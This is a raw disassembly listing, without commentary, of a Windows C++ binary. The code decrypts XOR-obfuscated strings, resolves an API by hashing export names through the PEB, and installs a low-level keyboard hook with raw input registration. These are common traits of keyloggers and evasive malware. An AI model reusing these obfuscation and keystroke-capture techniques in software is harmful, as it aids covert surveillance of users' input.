movups xmm1, xmmword [0x140030c90]
movups xmmword [rbp + 0x2c50], xmm1
movups xmm0, xmmword [str._axabc_]
movups xmmword [rbp + 0x2c60], xmm0
movups xmm1, xmmword [0x140030cb0]
movups xmmword [rbp + 0x2c70], xmm1
mov eax, dword [0x140030cc0]
mov dword [rbp + 0x2c80], eax
movzx eax, word [0x140030cc4]
mov word [rbp + 0x2c84], ax
mov edi, r15d
lea r8, [rbp + 0x2c20]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020a1a
lea rdx, [rbp + 0x2c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2c20]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140031320]
movups xmmword [rbp + 0x2d70], xmm0
movups xmm1, xmmword [0x140031330]
movups xmmword [rbp + 0x2d80], xmm1
movups xmm0, xmmword [0x140031340]
movups xmmword [rbp + 0x2d90], xmm0
movups xmm1, xmmword [0x140031350]
movups xmmword [rbp + 0x2da0], xmm1
movups xmm0, xmmword [str._axab]
movups xmmword [rbp + 0x2db0], xmm0
movups xmm1, xmmword [0x140031370]
movups xmmword [rbp + 0x2dc0], xmm1
mov eax, dword [0x140031380]
mov dword [rbp + 0x2dd0], eax
movzx eax, word [0x140031384]
mov word [rbp + 0x2dd4], ax
mov edi, r15d
lea r8, [rbp + 0x2d70]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020ae4
lea rdx, [rbp + 0x2d70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2d70]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14002f160]
movups xmmword [rbp + 0x2d00], xmm0
movups xmm1, xmmword [0x14002f170]
movups xmmword [rbp + 0x2d10], xmm1
movups xmm0, xmmword [0x14002f180]
movups xmmword [rbp + 0x2d20], xmm0
movups xmm1, xmmword [0x14002f190]
movups xmmword [rbp + 0x2d30], xmm1
movups xmm0, xmmword [0x14002f1a0]
movups xmmword [rbp + 0x2d40], xmm0
movups xmm1, xmmword [0x14002f1b0]
movups xmmword [rbp + 0x2d50], xmm1
mov eax, dword [0x14002f1c0]
mov dword [rbp + 0x2d60], eax
movzx eax, word [0x14002f1c4]
mov word [rbp + 0x2d64], ax
mov edi, r15d
lea r8, [rbp + 0x2d00]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020bae
lea rdx, [rbp + 0x2d00]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2d00]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.aQVYTnSA_OZ]
movups xmmword [rbp + 0x2960], xmm0
movups xmm1, xmmword [0x140030b40]
movups xmmword [rbp + 0x2970], xmm1
movzx eax, word [0x140030b50]
mov word [rbp + 0x2980], ax
mov al, byte [0x140030b52]
mov byte [rbp + 0x2982], al
mov edi, r15d
lea r8, [rbp + 0x2960]
mov bx, 0x33
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x23
jl 0x140020c44
lea rdx, [rbp + 0x2960]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2960], xmm0
movups xmmword [rbp + 0x2970], xmm0
mov word [rbp + 0x2980], ax
mov byte [rbp + 0x2982], al
mov rdx, rsi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14002faa8]
movups xmmword [rbp + 0x28d0], xmm0
movsd xmm1, qword [0x14002fab8]
movsd qword [rbp + 0x28e0], xmm1
movzx eax, word [0x14002fac0]
mov word [rbp + 0x28e8], ax
mov al, byte [0x14002fac2]
mov byte [rbp + 0x28ea], al
mov edi, r15d
lea r8, [rbp + 0x28d0]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x1b
jl 0x140020cf8
lea rdx, [rbp + 0x28d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28d0], xmm0
mov qword [rbp + 0x28e0], rax
mov word [rbp + 0x28e8], ax
mov byte [rbp + 0x28ea], al
movups xmm0, xmmword [0x14002fd18]
movups xmmword [rbp + 0x2910], xmm0
movsd xmm1, qword [0x14002fd28]
movsd qword [rbp + 0x2920], xmm1
mov al, byte [0x14002fd30]
mov byte [rbp + 0x2928], al
mov edi, r15d
lea r8, [rbp + 0x2910]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x19
jl 0x140020d8e
lea rdx, [rbp + 0x2910]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2910], xmm0
mov qword [rbp + 0x2920], rax
mov byte [rbp + 0x2928], al
movups xmm0, xmmword [0x140030378]
movups xmmword [rbp + 0x28f0], xmm0
movsd xmm1, qword [0x140030388]
movsd qword [rbp + 0x2900], xmm1
mov eax, dword [0x140030390]
mov dword [rbp + 0x2908], eax
mov al, byte [0x140030394]
mov byte [rbp + 0x290c], al
mov edi, r15d
lea r8, [rbp + 0x28f0]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x1d
jl 0x140020e29
lea rdx, [rbp + 0x28f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28f0], xmm0
mov qword [rbp + 0x2900], rax
mov dword [rbp + 0x2908], eax
mov byte [rbp + 0x290c], al
movups xmm0, xmmword [str.cFPED]
movups xmmword [rbp + 0x29a8], xmm0
movups xmm1, xmmword [0x14002fde0]
movups xmmword [rbp + 0x29b8], xmm1
movsd xmm0, qword [0x14002fdf0]
movsd qword [rbp + 0x29c8], xmm0
mov eax, dword [0x14002fdf8]
mov dword [rbp + 0x29d0], eax
mov al, byte [0x14002fdfc]
mov byte [rbp + 0x29d4], al
mov edi, r15d
lea r8, [rbp + 0x29a8]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x2d
jl 0x140020ed8
lea rdx, [rbp + 0x29a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x29a8], xmm0
movups xmmword [rbp + 0x29b8], xmm0
mov qword [rbp + 0x29c8], rax
mov dword [rbp + 0x29d0], eax
mov byte [rbp + 0x29d4], al
mov rax, qword [0x14002e7c8]
mov qword [rbp + 0x2770], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r9d, dword [rcx + rdx + 0x88]
add r9, rdx
cmp r9, rdx
je 0x140020fc4
mov r8d, dword [r9 + 0x18]
test r8d, r8d
je 0x140020fc4
mov ebx, dword [r9 + 0x20]
dec r8d
lea rcx, [rbx + r8*4]
mov edi, dword [rcx + rdx]
add rdi, rdx
mov r10d, 0x3bdd94f1
mov cl, byte [rdi]
add rdi, r12
test cl, cl
je 0x140020fbf
movsx ecx, cl
xor ecx, r10d
imul r10d, ecx, 0x1000193
mov cl, byte [rdi]
add rdi, r12
test cl, cl
jne 0x140020fa0
cmp r10d, 0x6b37dfd0
je 0x140020fc9
test r8d, r8d
jne 0x140020f84
mov rax, qword [rax]
jmp 0x140020f5f
mov ecx, dword [r9 + 0x1c]
add rcx, rdx
mov eax, dword [r9 + 0x24]
add rax, rdx
movzx eax, word [rax + r8*2]
mov r9d, dword [rcx + rax*4]
add r9, rdx
mov edi, r15d
lea r8, [rbp + 0x2770]
mov bx, 0x33
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 8
jl 0x140020ff1
lea rcx, [rbp + 0x2770]
call r9
call fcn.1400059a8
mov rdx, rsi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x14003a120], r15b
je 0x1400210c3
movups xmm0, xmmword [0x14002ed30]
movups xmmword [rbp + 0x2780], xmm0
mov eax, dword [0x14002ed40]
mov dword [rbp + 0x2790], eax
mov al, byte [0x14002ed44]
mov byte [rbp + 0x2794], al
mov r8d, r15d
lea r9, [rbp + 0x2780]
mov eax, r14d
mul r8d
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov dil, r8b
sub dil, al
add dil, bl
xor byte [r9], dil
add r8d, r12d
add r9, r12
cmp r8d, 0x15
jl 0x140021070
lea rdx, [rbp + 0x2780]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov byte [rbp + 0x2794], al
jmp 0x140021149
movups xmm0, xmmword [0x14002fd80]
movups xmmword [rbp + 0x2780], xmm0
mov eax, dword [0x14002fd90]
mov dword [rbp + 0x2790], eax
movzx eax, word [0x14002fd94]
mov word [rbp + 0x2794], ax
cmp byte [0x14002fd95], r15b
je 0x140021121
mov edi, r15d
lea r8, [rbp + 0x2780]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, bl
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0x16
jl 0x1400210fe
lea rdx, [rbp + 0x2780]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov word [rbp + 0x2794], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2780], xmm0
mov dword [rbp + 0x2790], eax
call fcn.14001cf6c
call fcn.1400059a8
call fcn.140016ddc
call fcn.140016890
call fcn.14001735c
call fcn.1400195a8
call fcn.14000f804
call fcn.14000f9f8
call fcn.14000f73c
call fcn.140010ad0
call fcn.140012b44
call fcn.140015a8c
call fcn.140019ba4
call fcn.14000fc20
call fcn.140011be8
call fcn.140011bfc
call fcn.140010d84
call fcn.14001140c
call fcn.14001155c
call fcn.140011910
call fcn.14001a778
call fcn.140011f08
call fcn.1400059a8
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
or dword [rbp + 0x4164], 0xffffffff
mov dword [rbp + 0x2de4], eax
mov rdx, r12
mov edi, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x2de4], eax
add rdx, r12
cmp rdx, rdi
jb 0x1400211e7
mov dword [rbp + 0x2de0], edi
mov eax, 0x3e8
mov dword [rbp + 0x27c0], eax
mov dword [rbp + 0x27c4], eax
xor edx, edx
lea r8d, [rdx + 0x48]
lea rcx, [rbp + 0x2710]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14001df64]
mov qword [rbp + 0x2718], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x2728], rax
call fcn.1400059a8
mov eax, dword [0x14002fbfc]
mov dword [rbp + 0x2770], eax
mov esi, 2
cmp word [0x14002fbfe], r15w
je 0x14002129a
mov edi, r15d
lea r8, [rbp + 0x2770]
mov eax, r14d
mul edi
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, di
sub ax, cx
add ax, bx
xor word [r8], ax
add edi, r12d
add r8, rsi
cmp edi, esi
jl 0x140021275
lea rdx, [rbp + 0x2770]
lea rcx, [rbp + 0x28b0]
call fcn.14000435c
nop
call fcn.1400059a8
lea rcx, [rbp + 0x28b0]
mov rdx, qword [rbp + 0x28b0]
mov r8, qword [rbp + 0x28c8]
cmp r8, r13
jb 0x1400212d8
mov r9, rdx
mov rcx, rdx
mov rdi, rdx
jmp 0x1400212e2
mov rdi, rcx
lea r9, [rbp + 0x28b0]
mov r10, qword [rbp + 0x28c0]
add r10, r9
cmp rcx, r10
je 0x14002134d
lea rcx, [rbp + 0x28b0]
cmp r8, r13
cmovae rcx, rdx
lea rax, [0x140039050]
cmp qword [0x140039068], r13
cmovae rax, qword [0x140039050]
sub rax, rcx
movsx ecx, byte [rax + rdi]
and ecx, 0x800000ff
jge 0x140021330
sub ecx, r12d
or ecx, 0xffffff00
add ecx, r12d
xor cl, byte [rdi]
xor cl, 0x44
mov byte [rdi], cl
add rdi, r12
mov r8, qword [rbp + 0x28c8]
mov rdx, qword [rbp + 0x28b0]
cmp rdi, r10
jne 0x1400212f1
lea rax, [rbp + 0x28b0]
cmp r8, 8
cmovae rax, rdx
mov qword [rbp + 0x2750], rax
lea rcx, [rbp + 0x2710]
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x1400214e2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140031628]
mov rdx, qword [rbp + 0x2750]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
test rax, rax
je 0x1400214e2
mov dword [rbp + 0x2700], 0x20001
mov dword [rbp + 0x2704], 0x100
mov qword [rbp + 0x2708], rax
mov r8d, r13d
mov edx, r12d
lea rcx, [rbp + 0x2700]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
je 0x1400214e2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8, rax
xor r9d, r9d
lea rdx, [0x14001f1b0]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
test rax, rax
je 0x1400214e2
cmp byte [0x14003a120], r15b
je 0x1400214bf
cmp byte [0x14003a121], r15b
je 0x1400214bf
imul r8d, dword [0x14003a124], 0x3e8
mov edx, r8d
neg edx
lea rcx, [rbp + 0x2830]
call fcn.1400233fc
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x2830]
call fcn.140024ba8
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x2830]
call fcn.140024ba8
mov edi, eax
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x27c0]
call fcn.140024ba8
mov edx, eax
mov ecx, edi
call fcn.14001f50c
jmp 0x1400214bf
lea rcx, [rbp + 0x2860]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x2860]
call qword [sym.imp.USER32.dll_DispatchMessageW]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2860]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1400214a5
jmp 0x14002142d
lea rcx, [rbp + 0x28b0]
call fcn.1400042f8
nop
lea rcx, [rbp + 0x2988]
call fcn.140004544
nop
lea rcx, [rbp + 0x29d8]
call fcn.140001528
nop
lea rcx, [rbp + 0x2930]
call fcn.140004544
nop
lea rcx, [rbp + 0x2840]
call fcn.140004544
nop
lea rcx, [rbp + 0x2810]
call fcn.140004544
nop
lea rcx, [rbp + 0x27a0]
call fcn.140004544
nop
lea rcx, [rbp + 0x27c8]
call fcn.140004544
nop
lea rcx, [rbp + 0x2890]
call fcn.140004544
nop
lea rcx, [rbp + 0x2950]
call fcn.140001528
mov eax, r12d
mov rcx, qword [rbp + 0x4290]
xor rcx, rsp
call fcn.140029500
lea r11, [rsp + 0x43a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x2838], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3